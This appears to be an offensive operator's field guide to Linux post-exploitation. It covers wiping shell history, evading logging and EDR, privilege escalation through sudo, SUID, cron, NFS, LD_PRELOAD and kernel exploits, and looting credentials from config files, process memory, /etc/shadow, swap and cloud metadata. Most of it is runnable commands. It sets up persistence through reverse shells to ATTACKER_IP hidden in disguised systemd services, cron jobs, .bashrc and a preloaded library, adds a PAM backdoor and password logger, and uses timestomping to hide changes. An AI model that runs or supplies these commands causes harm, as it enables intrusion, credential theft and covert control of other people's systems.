1.1 Linux deep dive

1.1 Linux Deep Dive — Operator's Field Guide

BLUF: This is the step-by-step companion to 1. Linux. The focus is on how you actually do it — manually, with defenders in mind. Every phase starts with OPSEC considerations before touching the keyboard. Speed gets you caught. Discipline keeps you in.

Note

Sections

  1. OPSEC Baseline — Stay Low From First Shell · 2. Privilege Escalation — Manual Chains · 3. Finding Valuable Data — Post-Exploitation Looting · 4. Persistence — Stealthy & Resilient · 5. Cleanup & Anti-Forensics

Attack Path

graph TB
    Land([Shell Landed]) --> OPSEC[OPSEC Baseline\nUnset history · workspace · logging]
    OPSEC --> Enum[Situational Awareness\nwhat am I on · who's watching]
    Enum --> PrivEsc{Priv-Esc Vector?}
    PrivEsc --> Sudo[Sudo Misconfig]
    PrivEsc --> SUID[SUID/Capabilities]
    PrivEsc --> Cron[Cron Hijack]
    PrivEsc --> Kernel[Kernel CVE]
    PrivEsc --> NFS[NFS/LD_PRELOAD]
    Sudo & SUID & Cron & Kernel & NFS --> Root([Root])
    Root --> Loot[Loot Creds & Keys]
    Root --> Persist[Plant Persistence]
    Root --> Pivot[Pivot / Exfil]
    Pivot --> Cleanup[Cleanup & Exit]
    style Land fill:#ff6600
    style Root fill:#ff0000
    style Cleanup fill:#444444

MITRE ATT&CK Mapping

Technique ID Name Tactic Where Used
T1562.003 Impair Command History Logging Defense Evasion OPSEC Baseline
T1548.003 Sudo and Sudo Caching Privilege Escalation Sudo misconfig
T1548.001 Setuid and Setgid Privilege Escalation SUID abuse
T1053.003 Cron Persistence / PrivEsc Cron hijack
T1068 Exploitation for Privilege Escalation Privilege Escalation Kernel CVE
T1552.001 Credentials In Files Credential Access Config/env looting
T1003.008 /etc/passwd and /etc/shadow Credential Access Shadow dump
T1552.007 Container API / Cloud Metadata Credential Access IMDS looting
T1543.002 Systemd Service Persistence Service backdoor
T1098.004 SSH Authorized Keys Persistence SSH persistence
T1070.003 Clear Command History Defense Evasion Cleanup
T1070.006 Timestomp Defense Evasion File timestomping

Section 1 — OPSEC Baseline: Stay Low From First Shell

Before you type a single enumeration command, lock down your trail. Defenders can't catch what isn't logged.

1.1 — Kill History Immediately

The very first commands you run after landing are the most exposed. Do this before anything else.

Stealth One-Liner (Session Kill):

unset HISTORY HISTFILE HISTFILESIZE HISTSIZE && export HISTFILE=/dev/null && export HISTSIZE=0 && set +o history

Step-by-Step Breakdown:

# Kill history recording for this session — do this FIRST
unset HISTORY HISTFILE HISTFILESIZE HISTSIZE HISTSAVE HISTZONE
export HISTFILE=/dev/null
export HISTSIZE=0
export HISTFILESIZE=0

# Belt-and-suspenders: tell bash not to append on exit
set +o history

# Confirm it's dead
echo $HISTFILE        # should return nothing or /dev/null
history               # should show empty or just this command

Why: Bash writes history to ~/.bash_history on exit. If you're killed mid-session, a partial history file still lands on disk. Killing it in-session + redirecting to /dev/null covers both paths. Do this before id, before whoami, before everything.


1.2 — Work in a Volatile Workspace

Never drop tools or write temp files in /tmp if you can avoid it — it's world-readable and often monitored. /dev/shm is memory-backed (tmpfs) and clears on reboot.

# Use /dev/shm as your working directory
cd /dev/shm

# Create a hidden directory with an innocuous name
mkdir .cache && cd .cache

# Alternatively: memory-only workspace using a RAM disk already present
df -h /dev/shm     # check available space — usually half of RAM
ls -la /run/user/$(id -u)/  # per-user tmpfs — also memory-backed

# When done: wipe it
rm -rf /dev/shm/.cache

Why: /dev/shm contents disappear on reboot, leaving nothing on disk for forensics. World-readable /tmp means other users (or monitoring daemons) can see your files. Hidden dirs (.name) still show with ls -la but are missed by careless ls sweeps.


1.3 — Understand What's Logging You

Know what generates log entries before you make them. The key sources defenders use:

Log Source Location What it captures
auditd /var/log/audit/audit.log Syscalls, file opens, exec, network — extremely detailed if rules are set
syslog / rsyslog /var/log/syslog General system events, daemon output
auth.log / secure /var/log/auth.log (Debian), /var/log/secure (RHEL) sudo use, su, SSH logins, PAM events
bash_history ~/.bash_history Command history (if not cleared)
systemd journal journalctl Service starts/stops, unit failures
wtmp / utmp / btmp /var/log/wtmp, /var/run/utmp, /var/log/btmp Login/logout records, failed logins
lastlog /var/log/lastlog Per-account last login timestamp
cron logs /var/log/cron, /var/log/syslog Cron job execution
EDR / endpoint agent Varies — look for Falco, Wazuh, CrowdStrike, SentinelOne Process creation, file writes, network connections
# Check if auditd is running — most dangerous log source
systemctl status auditd 2>/dev/null || service auditd status 2>/dev/null
ps aux | grep auditd

# Check active audit rules (what syscalls/paths are being monitored)
auditctl -l 2>/dev/null     # requires root, but try anyway

# Check if an EDR is present
ps aux | grep -iE "falcon|wazuh|crowdstrike|sentinel|carbon|cylance|mdatp|osquery|aide|samhain|tripwire|auditbeat|filebeat"
systemctl list-units --state=active | grep -iE "falcon|wazuh|carbon|sentinel|crowdstrike|elastic|osquery"
ls /opt/ | grep -iE "crowdstrike|falcon|carbon|sentinel|cylance|wazuh"

# Can you read audit logs? (if yes, you know what was captured)
tail -20 /var/log/audit/audit.log 2>/dev/null

1.4 — Low-Noise Shell Techniques

# Execute commands without forking a visible child process (stays in same PID)
exec bash --norc --noprofile    # replace current shell, no init files

# Redirect stderr to suppress tool error noise that might land in syslog
./tool 2>/dev/null

# Run commands with a fake process name (basic EDR evasion — not foolproof)
exec -a "[kworker/0:1]" /bin/bash

# Avoid writing to disk entirely — pipe tool output to grep/awk in memory
curl -s https://example.com/tool | bash    # WARNING: noisy — curl itself is logged
# Better: transfer tool via scp/sftp and execute from /dev/shm

# Unshare from logging namespaces (advanced, requires capabilities)
unshare --user --map-root-user /bin/bash 2>/dev/null  # user namespace

# Check your current shell's PID and verify no debugger is attached
echo $                         # your shell's PID
cat /proc/$/status | grep -E "TracerPid"   # 0 = not being traced

1.5 — Minimize Your Footprint Checklist

Before each phase, run through this mentally:

Question Action
Will this write to disk? Use /dev/shm or pipe output to memory
Will this generate a new process visible in ps? Consider if timing matters — work during normal business hours when process noise is high
Will this touch auth.log? sudo, su, SSH logins all write here — avoid when possible
Will this trigger auditd rules? File reads on /etc/shadow, /etc/passwd writes, /bin/bash exec as root
Will this be visible in w or who? Your shell session is listed — consider if defenders check active sessions
Did I compile or curl anything? gcc and curl are both commonly alerted on — transfer tools via legitimate channels

Section 2 — Privilege Escalation: Manual Chains

Every vector below starts with the most passive check first. Only escalate noise when lower-noise options are exhausted.


2.1 — Sudo Misconfiguration

The highest-value single command on any Linux box. Run this before anything else.

# What can I run as root without a password?
sudo -l

# OPSEC: sudo -l writes to auth.log on some configs — be aware
# Output to look for:
#   (ALL) NOPASSWD: /usr/bin/vim       → instant root shell
#   (ALL) NOPASSWD: /usr/bin/python3   → instant root shell
#   (ALL) NOPASSWD: /usr/bin/find      → read/write as root
#   (ALL) ALL                          → full root, just needs password

Common sudo escalation one-liners (check GTFOBins for the full list):

# sudo vim → shell escape
sudo vim -c ':!/bin/bash'
sudo vim -c ':py3 import pty; pty.spawn("/bin/bash")'

# sudo find → exec
sudo find / -name whatever -exec /bin/bash \;

# sudo python/python3 → setuid shell
sudo python3 -c 'import os; os.system("/bin/bash")'

# sudo awk → exec
sudo awk 'BEGIN {system("/bin/bash")}'

# sudo less → shell escape (inside less, type !bash)
sudo less /etc/passwd
# then: !bash

# sudo nano → shell escape (inside nano: Ctrl+R, Ctrl+X, then: reset; bash 1>&0 2>&0)
sudo nano /etc/hosts

# sudo env inheritance — if sudo preserves PATH
# If a writable dir is first in PATH and sudo allows env passthrough:
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' > /tmp/legit_binary
chmod +x /tmp/legit_binary
sudo PATH=/tmp:$PATH legit_binary   # only works if env_keep or SETENV is set

# sudo with wildcard in allowed command (e.g., /opt/scripts/*.sh)
# Create file: /opt/scripts/--checkpoint-action=exec=bash
touch '/opt/scripts/--checkpoint-action=exec=bash'
sudo /opt/scripts/*.sh

OPSEC: sudo -l itself is logged to auth.log and may trigger alerts on hardened systems. It's still worth running — the information gained outweighs the noise. Avoid using sudo for interactive root shells if you can accomplish the goal through file reads/writes instead (less visible in process lists).


2.2 — SUID Binary Exploitation

# Step 1: Find all SUID binaries (passive — just reads filesystem metadata)
find / -perm -u=s -type f 2>/dev/null
find / -perm -4000 -type f 2>/dev/null   # same thing

# Step 2: Filter out expected system binaries — focus on unusual ones
find / -perm -4000 -type f 2>/dev/null | grep -vE "^(/usr/bin/(passwd|chsh|chfn|newgrp|su|sudo|gpasswd|mount|umount|pkexec)|/bin/(ping|mount|umount|su)|/sbin/|/usr/sbin/)"

# Step 3: For each unusual binary — check GTFOBins, then:
ls -la /path/to/binary           # who owns it? what permissions?
file /path/to/binary             # architecture?
strings /path/to/binary | head -30  # any hardcoded paths to hijack?

Exploitation patterns:

# SUID bash (rare but beautiful)
/bin/bash -p              # -p preserves effective UID (root)
bash -p -c 'id'           # confirm root

# SUID find
find . -exec /bin/sh -p \; -quit
find / -name blah -exec bash -p \;  # -quit after first match

# SUID python/python3
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# or read arbitrary files without spawning a shell (quieter):
python3 -c 'print(open("/etc/shadow").read())'

# SUID cp — overwrite sensitive files
# Option 1: overwrite /etc/passwd to add a root user
openssl passwd -1 -salt hacker Password123
# → $1$hacker$...HASH...
echo 'hacker:$1$hacker$HASH:0:0:root:/root:/bin/bash' >> /tmp/passwd_new
cp /etc/passwd /tmp/passwd_backup   # backup first
cp /tmp/passwd_new /etc/passwd      # SUID cp writes as root
su hacker  # password: Password123

# SUID vim / vi
vim -c ':py3 import os; os.setuid(0); os.execl("/bin/bash","bash","-i")'
# or within vim: :shell  (drops to root shell if SUID)

# SUID nmap (older versions only — nmap < 5.21)
nmap --interactive
!sh

# SUID env
env /bin/sh -p

# SUID tee — write to root-owned files
echo "hacker ALL=(ALL) NOPASSWD: ALL" | tee -a /etc/sudoers

Capabilities abuse (Linux capabilities = fine-grained SUID):

# Find all binaries with capabilities set
getcap -r / 2>/dev/null

# High-value capabilities:
# cap_setuid     → can call setuid(0) → root
# cap_dac_override → bypass file read/write permissions
# cap_net_raw    → raw sockets — useful for sniffing but not direct root
# cap_sys_ptrace → can ptrace any process → inject into root process

# cap_setuid on python3
/usr/bin/python3 -c 'import os; os.setuid(0); os.execl("/bin/bash","bash")'

# cap_setuid on perl
perl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/bash";'

# cap_dac_override on vim — read /etc/shadow
vim /etc/shadow

# cap_sys_ptrace — inject shellcode into a root process (advanced)
# Use gdb or a custom injector targeting a root PID

OPSEC: Spawning a root /bin/bash via SUID is immediately visible to EDR (execve syscall with euid=0 from non-root process). Where possible, use the SUID binary to read sensitive files or write persistence instead of spawning interactive shells.


2.3 — Cron Job Hijacking

# Step 1: Enumerate all cron locations
crontab -l 2>/dev/null           # current user's jobs
cat /etc/crontab                 # system-wide cron
cat /etc/cron.d/*                # drop-in cron files
ls -la /etc/cron.{hourly,daily,weekly,monthly}/
cat /etc/cron.{hourly,daily,weekly,monthly}/* 2>/dev/null

# Step 2: Watch for cron jobs not in any crontab (e.g., run by root scripts)
# pspy watches /proc for process creation — no root needed
# Download: https://github.com/DominicBreuker/pspy
./pspy64 -pf -i 500   # check every 500ms, watch for UID=0 processes
# Watch for 2–3 minutes to catch per-minute jobs
# Look for: UID=0 and a script or binary path you can influence

# Step 3a: Writable script called by cron
ls -la /opt/scripts/backup.sh    # is it writable by you?
# If yes — append your payload (don't overwrite, it might be checked)
echo '' >> /opt/scripts/backup.sh                             # blank line spacer
echo 'cp /bin/bash /tmp/.sysd; chmod u+s /tmp/.sysd' >> /opt/scripts/backup.sh
# Wait for next cron run, then:
/tmp/.sysd -p    # SUID bash as root

# Step 3b: PATH hijacking in cron
# If /etc/crontab has: PATH=/home/user:/usr/local/sbin:/usr/bin:/sbin:/bin
# And a cron job calls a binary by name (not full path), e.g., just 'backup'
# And /home/user is writable:
cat > /home/user/backup << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/.sysdbash
chmod u+s /tmp/.sysdbash
EOF
chmod +x /home/user/backup
# Wait → /tmp/.sysdbash -p

# Step 3c: Wildcard injection in cron tar/rsync commands
# If cron runs: tar czf /backup/archive.tar.gz /var/www/*
# And /var/www/ is writable by you:
touch '/var/www/--checkpoint=1'
touch '/var/www/--checkpoint-action=exec=bash payload.sh'
cat > /var/www/payload.sh << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/.sysdbash && chmod u+s /tmp/.sysdbash
EOF
chmod +x /var/www/payload.sh
# Next tar run picks up the filenames as flags → executes payload.sh as root

OPSEC: Appending to existing scripts is less detectable than replacing them — file modification time changes either way, but a replaced file changes its content hash and size, both of which AIDE/Tripwire monitor. Timestomp after modification (see Section 5). Remove your additions after gaining root.


2.4 — NFS no_root_squash

# Check /etc/exports on the target (requires read access to this file)
cat /etc/exports
# Look for: no_root_squash or no_all_squash
# Example dangerous entry: /home *(rw,no_root_squash)

# From YOUR attacker machine (not the target):
# Step 1: Mount the NFS share
showmount -e TARGET_IP            # list available NFS exports
mkdir /tmp/nfs_mount
mount -t nfs TARGET_IP:/home /tmp/nfs_mount -nolock

# Step 2: On attacker machine (as local root), create SUID shell
cp /bin/bash /tmp/nfs_mount/rootbash
chmod +s /tmp/nfs_mount/rootbash   # sets SUID — because no_root_squash, root on client = root on server

# Step 3: Back on target, execute it
/home/rootbash -p      # runs as root due to SUID bit you set remotely

# Cleanup on attacker: rm /tmp/nfs_mount/rootbash && umount /tmp/nfs_mount

2.5 — LD_PRELOAD / LD_LIBRARY_PATH (via sudo env_keep)

# Check: does sudo preserve LD_PRELOAD?
sudo -l | grep -E "env_keep|LD_PRELOAD|SETENV"
# Look for: env_keep+=LD_PRELOAD  or  SETENV

# If yes — write a malicious shared library
cat > /tmp/evil.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
}
EOF

gcc -fPIC -shared -nostartfiles -o /tmp/evil.so /tmp/evil.c

# Run any allowed sudo binary with the preload
sudo LD_PRELOAD=/tmp/evil.so find /    # 'find' just as an example — use whatever is in sudo -l
# The evil.so _init() runs before find, spawns root shell

# Cleanup
rm /tmp/evil.c /tmp/evil.so

2.6 — Weak File Permissions on Sensitive Files

# /etc/passwd writable (direct root user add)
ls -la /etc/passwd
# If writable:
openssl passwd -1 -salt pwned Password1
echo 'pwned:GENERATED_HASH:0:0:pwned:/root:/bin/bash' >> /etc/passwd
su pwned   # password: Password1

# /etc/shadow readable (offline crack)
ls -la /etc/shadow
cat /etc/shadow  # if readable by your user or group
# Copy hashes and crack offline: hashcat -m 1800 shadow.txt wordlist.txt

# /etc/sudoers writable
ls -la /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
sudo bash

# Find world-writable files that might matter
find / -writable -type f 2>/dev/null | grep -vE "/proc|/sys|/dev|/run" | \
  grep -E "cron|sudoers|passwd|shadow|hosts|profile|bashrc|environment"

# Find world-writable directories in PATH (PATH hijack opportunity)
echo $PATH | tr ':' '\n' | xargs -I{} sh -c 'test -w "{}" && echo "WRITABLE PATH DIR: {}"'

2.7 — Kernel Exploit — Last Resort

# Step 1: Identify exact kernel version
uname -r              # e.g., 5.4.0-42-generic
uname -a              # full string including build date
cat /proc/version

# Step 2: Research the version
# Run linux-exploit-suggester on attacker machine or if target has internet:
# https://github.com/mzet-/linux-exploit-suggester
./les.sh --kernel $(uname -r)   # targeted results for this kernel

# Key CVEs worth knowing:
# DirtyPipe  (CVE-2022-0847)  → kernel 5.8–5.16.11   → overwrite root-owned files
# DirtyCow   (CVE-2016-5195)  → kernel < 4.8.3        → write to read-only mappings → overwrite /etc/passwd
# PwnKit     (CVE-2021-4034)  → polkit pkexec          → universal LPE, works on most distros
# OverlayFS  (CVE-2023-0386)  → kernel < 6.2           → setuid bit in overlayfs
# GameOver   (CVE-2023-35829) → kernel 6.x            → UAF in io_uring

# Step 3: Transfer exploit to target via /dev/shm (avoid /tmp)
# Compile on attacker if gcc not on target:
x86_64-linux-gnu-gcc exploit.c -o exploit -static -pthread

# Transfer (scp, curl from your server, or base64 encode/decode):
# On attacker: base64 exploit > exploit.b64 && python3 -m http.server 8080
# On target:
curl -s http://ATTACKER_IP:8080/exploit.b64 | base64 -d > /dev/shm/exploit
chmod +x /dev/shm/exploit
./dev/shm/exploit

# Step 4: Clean up immediately after use
rm /dev/shm/exploit

OPSEC: Kernel exploits are the noisiest vector. They often crash processes, log kernel panics to /var/log/kern.log, and cause unusual syscall patterns that EDR tools fingerprint. Use only when all other options are exhausted. Test on an identical kernel in a lab first.


Section 3 — Finding Valuable Data: Post-Exploitation Looting

Root is the means, not the end. The objective is intelligence: credentials, keys, secrets, and pivot paths.


3.1 — Credentials in Config Files

# The most common wins — search for known credential patterns
grep -rEl "(password|passwd|secret|token|api_key|apikey|auth)" \
  /var/www /opt /home /srv /etc/app* /etc/nginx /etc/apache2 2>/dev/null | \
  grep -vE "\.pyc$|/proc/|binary" | head -20

# Specific high-value files
find / -name ".env" -o -name "*.env" 2>/dev/null | xargs grep -li "pass\|secret\|token" 2>/dev/null
find / -name "wp-config.php" 2>/dev/null      # WordPress DB creds
find / -name "database.yml" 2>/dev/null       # Rails DB creds
find / -name "settings.py" 2>/dev/null | xargs grep -l "PASSWORD\|SECRET_KEY" 2>/dev/null  # Django
find / -name "application.properties" -o -name "application.yml" 2>/dev/null | \
  xargs grep -li "password\|secret" 2>/dev/null    # Spring Boot

# Check common credential locations
cat /etc/mysql/my.cnf 2>/dev/null               # MySQL root password
cat /etc/postgresql/*/main/pg_hba.conf 2>/dev/null  # PostgreSQL auth
cat /root/.my.cnf 2>/dev/null                   # MySQL client creds
find /var/www -name "*.conf" -o -name "*.ini" 2>/dev/null | \
  xargs grep -li "db_pass\|database_password\|DB_PASS" 2>/dev/null

# SSH keys — private keys are the most valuable single artifact
find / -name "id_rsa" -o -name "id_ed25519" -o -name "id_ecdsa" -o -name "*.pem" 2>/dev/null | \
  grep -v "\.pub$" | while read f; do
    echo "=== $f ==="; head -1 "$f"; echo
  done

# Known_hosts — maps to pivot targets (even if no key, hostname list is valuable)
find / -name "known_hosts" 2>/dev/null | xargs cat 2>/dev/null | \
  grep -v "^#" | awk '{print $1}' | sort -u

3.2 — Shell History & Log Artifacts

# All history files — operators paste passwords here constantly
find / -name ".*_history" -o -name ".bash_history" -o -name ".zsh_history" \
  -o -name ".python_history" -o -name ".mysql_history" -o -name ".psql_history" \
  2>/dev/null | xargs cat 2>/dev/null

# Look for passwords pasted directly into command lines
find / -name ".*history" 2>/dev/null | xargs grep -iE "(pass|token|secret|key|auth|curl|wget)" 2>/dev/null | head -30

# Logs sometimes contain credentials in error messages or debug output
grep -rEi "password|passwd|secret|token" /var/log/ 2>/dev/null | grep -v "Binary\|\.gz:" | head -20
# auth.log can expose sudo passwords in malformed commands
grep "sudo" /var/log/auth.log 2>/dev/null | tail -30

3.3 — In-Memory Credentials (/proc)

This is often overlooked. Running processes can have credentials in their environment, command line, or memory maps.

# Environment variables of ALL running processes (requires root for other users' procs)
# Look for API keys, tokens, passwords passed via env vars
strings /proc/*/environ 2>/dev/null | grep -iE "pass|key|token|secret|api|aws|azure|gcp" | sort -u

# Command line arguments of all processes — passwords sometimes passed as CLI args
cat /proc/*/cmdline 2>/dev/null | tr '\0' ' ' | tr '\n' '\n' | \
  grep -iE "pass|secret|token|key|--password" | head -20

# Target specific high-value processes
# Find processes by name first
ps aux | grep -iE "mysql|postgres|redis|mongodb|elastic|vault|consul"
# Then examine that specific PID
PID=$(pgrep -f mysqld | head -1)
cat /proc/$PID/cmdline | tr '\0' ' '
cat /proc/$PID/environ | tr '\0' '\n' | grep -iE "pass|key|user|host"

# Memory maps — can find strings in loaded shared libs and heap
# WARNING: reading /proc/PID/mem is extremely noisy and may crash processes
# Safer: just read /proc/PID/maps for mapped file paths (config paths etc.)
cat /proc/$PID/maps | grep -v "\.so\|vvar\|vdso\|\[" | awk '{print $6}' | sort -u

3.4 — /etc/shadow → Offline Crack

# Dump shadow (requires root)
cat /etc/shadow

# Combine with passwd for unshadow (needed for john)
unshadow /etc/passwd /etc/shadow > /tmp/combined.txt

# Transfer to attacker machine, then crack offline:
# hashcat — SHA-512 ($6$) is most common on modern Linux
hashcat -m 1800 combined.txt /usr/share/wordlists/rockyou.txt
hashcat -m 1800 combined.txt /usr/share/wordlists/rockyou.txt --rules-file /usr/share/hashcat/rules/best64.rule

# john fallback
john combined.txt --wordlist=/usr/share/wordlists/rockyou.txt

# Identify hash type from shadow entry:
# $1$ = MD5          hashcat -m 500
# $2y$ = bcrypt      hashcat -m 3200  (very slow)
# $5$ = SHA-256      hashcat -m 7400
# $6$ = SHA-512      hashcat -m 1800  (most common)
# $y$ = yescrypt     hashcat -m 15900 (modern Ubuntu)

3.5 — Swap File / Memory Dump

# Check if swap is in use
swapon --show
cat /proc/swaps
free -h

# Swap is physical memory dumped to disk — may contain cleartext creds, session tokens
# swap_digger: https://github.com/sevagas/swap_digger
sudo ./swap_digger.sh -s /dev/sda5   # replace with your swap partition

# Manual approach — grep swap for interesting strings (slow but no extra tools)
strings /dev/sda5 2>/dev/null | grep -iE "pass|token|secret|Bearer|Authorization" | head -20
# OR with swap file (not partition):
strings /swapfile 2>/dev/null | grep -iE "pass|token|secret" | head -20

# Hibernate image — if system has hibernated, /dev/disk/by-label/... or /hibernate
ls -la /boot/ | grep -i hibern
file /swapfile 2>/dev/null

3.6 — Cloud Instance Metadata (IMDS)

If you're on a cloud instance, the IMDS endpoint is unauthenticated by default (unless IMDSv2 is enforced) and yields IAM credentials, user-data scripts, and instance identity.

# AWS IMDSv1 (no token required — check if this works first)
curl -s http://169.254.169.254/latest/meta-data/
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Get the role name, then:
ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE
# Returns: AccessKeyId, SecretAccessKey, Token — use immediately for AWS API calls

# AWS IMDSv2 (requires token — but still automatic from the instance)
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/

# User-data — admins put secrets, bootstrap scripts, and passwords here constantly
curl -s http://169.254.169.254/latest/user-data  # AWS
# Look for: passwords, API keys, S3 bucket names, internal hostnames

# GCP metadata
curl -s "http://metadata.google.internal/computeMetadata/v1/" -H "Metadata-Flavor: Google"
curl -s "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
  -H "Metadata-Flavor: Google"

# Azure IMDS
curl -s "http://169.254.169.254/metadata/instance?api-version=2021-02-01" -H "Metadata:true"
curl -s "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
  -H "Metadata:true"

OPSEC: IMDS calls are HTTP requests that don't touch disk and generate no filesystem audit events. However, cloud providers log IAM credential usage — AWS CloudTrail will record every API call made with credentials from IMDS. Use the credentials for targeted actions only and be aware of the trail they leave.


Section 4 — Persistence: Stealthy & Resilient

Persistence should survive: reboots, password changes, deleted user accounts, and basic IR sweeps. Each mechanism below rates its detectability.


4.1 — SSH Authorized Keys

Detectability: Low (unless IR specifically checks ~/.ssh/)

# Ensure .ssh dir exists with correct permissions
mkdir -p ~/.ssh
chmod 700 ~/.ssh

# Add your public key (generate with: ssh-keygen -t ed25519 on attacker)
echo "ssh-ed25519 AAAA...YOUR_PUBKEY...= user@host" >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys

# OPSEC: disguise the key comment (last field) to match existing keys
# Check what format existing keys use:
cat ~/.ssh/authorized_keys
# Match the comment format: user@hostname, or an email, or no comment at all

# Add to root's authorized_keys (after gaining root)
echo "ssh-ed25519 AAAA...YOUR_PUBKEY...= " >> /root/.ssh/authorized_keys
# Blank comment — harder to notice against legitimate keys

# Timestomp to match other keys in the directory
touch -r ~/.ssh/known_hosts ~/.ssh/authorized_keys

4.2 — Systemd Service (Disguised)

Detectability: Medium (IR teams enumerate services, but disguised names pass casual review)

# Choose a name that blends in — mimic real systemd service names
# Bad:  backdoor.service, shell.service
# Good: systemd-network-helper.service, dbus-logind-monitor.service, udev-settle-extra.service

cat > /etc/systemd/system/systemd-network-helper.service << 'EOF'
[Unit]
Description=Network Helper Daemon
After=network.target
Documentation=man:systemd-network(8)

[Service]
Type=forking
User=root
ExecStart=/usr/lib/systemd/systemd-network-helper
Restart=on-failure
RestartSec=30
StandardOutput=null
StandardError=null

[Install]
WantedBy=multi-user.target
EOF

# Create the "binary" it calls — a script disguised as a system binary
cat > /usr/lib/systemd/systemd-network-helper << 'EOF'
#!/bin/bash
# Fork to background immediately (Type=forking)
setsid bash -c 'while true; do bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1; sleep 60; done' &
disown
EOF
chmod +x /usr/lib/systemd/systemd-network-helper

# Enable and start
systemctl daemon-reload
systemctl enable systemd-network-helper.service
systemctl start systemd-network-helper.service

# Verify it's masked from casual inspection
systemctl status systemd-network-helper.service   # should show active/running

# Timestomp the service file to match other systemd files
touch -r /etc/systemd/system/ssh.service /etc/systemd/system/systemd-network-helper.service

OPSEC: Set StandardOutput=null and StandardError=null to prevent log output from landing in journald. Use RestartSec=30 with a sleep loop inside the script so that even if the beacon is killed, it reconnects without immediately alerting on rapid restarts. Never use Restart=always with a 0-second delay — that generates a flood of restart events in the journal.


4.3 — Cron Persistence

Detectability: Low-Medium (cron is checked in IR, but infrequent jobs are often missed)

# System-wide cron (requires root) — runs as root
# Low frequency = less noise, survives longer
echo '47 3 * * 1 root /usr/lib/sysstat/.helper' >> /etc/cron.d/sysstat-helper
# Runs every Monday at 03:47 — unlikely to trigger pattern matching on hourly/daily

# Create the payload
cat > /usr/lib/sysstat/.helper << 'EOF'
#!/bin/bash
exec > /dev/null 2>&1
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
EOF
chmod +x /usr/lib/sysstat/.helper

# User crontab persistence (survives without root)
(crontab -l 2>/dev/null; echo "17 2 * * 3 /home/$(whoami)/.local/share/.sync") | crontab -

# Create hidden payload
mkdir -p ~/.local/share/
cat > ~/.local/share/.sync << 'EOF'
#!/bin/bash
exec > /dev/null 2>&1
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
EOF
chmod +x ~/.local/share/.sync

# Timestomp cron files
touch -r /etc/cron.d/anacron /etc/cron.d/sysstat-helper

4.4 — .bashrc / .profile Conditional Backdoor

Detectability: Low (commonly checked, but conditional execution avoids repeated beaconing)

# Only beacon if callback host isn't already established — avoids obvious repeated connections
# Append to .bashrc (runs on interactive shell open) or .profile (runs on login)

cat >> ~/.bashrc << 'EOF'

# system check
_svc_check() {
    pgrep -f "UNIQUE_MARKER" > /dev/null 2>&1 || \
    (bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' &) > /dev/null 2>&1
}
_svc_check
EOF

# OPSEC improvements:
# 1. Use a unique marker in the process name so the pgrep check works correctly
# 2. Redirect all output to /dev/null
# 3. The function name and variable look like a legitimate sysadmin check
# 4. Only fires if the beacon process isn't already running

# For root: target /etc/profile (runs for ALL users on login) or /etc/bash.bashrc
# Be selective — modifying /etc/profile leaves a trace for every login
echo "_svc_check() { ... }" >> /etc/bash.bashrc

4.5 — PAM Backdoor (accepts any password for a user)

Detectability: Medium-High (PAM module changes are checked during IR, but often missed)

# Add pam_permit.so to PAM stack for SSH — allows login with ANY password
# Backup first
cp /etc/pam.d/sshd /etc/pam.d/sshd.orig

# Add to the TOP of the auth section — before existing auth rules
sed -i '1s/^/auth sufficient pam_permit.so\n/' /etc/pam.d/sshd

# Now SSH login with any password works for any account
# This is extremely powerful but also very detectable if PAM configs are audited

# More surgical: add backdoor only for a specific account
# Or: use pam_exec.so to run a script on auth (can log credentials of other users)
echo "auth optional pam_exec.so /tmp/.auth_hook" >> /etc/pam.d/sshd
cat > /tmp/.auth_hook << 'EOF'
#!/bin/bash
echo "$(date) USER=$PAM_USER PASS=$PAM_AUTHTOK" >> /tmp/.auth_log
EOF
chmod +x /tmp/.auth_hook
# This captures every SSH password attempt — not a persistence mechanism but credential logger

OPSEC: PAM backdoors are one of the first things a hardened incident response team checks. Prefer SSH key persistence over PAM. If you use PAM, revert it after gaining your persistence via another method.


4.6 — LD_PRELOAD Persistence via /etc/ld.so.preload

Detectability: Low (rarely checked unless IR is hunting for LD_PRELOAD specifically)

# Create a malicious shared library that execs a beacon when any dynamically linked binary runs
cat > /tmp/preload.c << 'EOF'
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void init() {
    // Only fire once — avoid loops when our payload itself is a dynamic binary
    if (getenv("_PRELOAD_DONE")) return;
    putenv("_PRELOAD_DONE=1");

    // Don't fire as root — avoids noise, only fires for user-level processes
    if (getuid() == 0) return;

    // Check if beacon is running
    if (system("pgrep -f UNIQUE_BEACON_MARKER > /dev/null 2>&1") != 0) {
        system("bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' &");
    }
}
EOF

gcc -fPIC -shared -o /usr/local/lib/libsec.so /tmp/preload.c -ldl
rm /tmp/preload.c

# Register it globally
echo "/usr/local/lib/libsec.so" >> /etc/ld.so.preload

# Verify (will trigger on this command)
ls /   # any dynamic binary will trigger the constructor

# Timestomp
touch -r /etc/ld.so.conf /etc/ld.so.preload

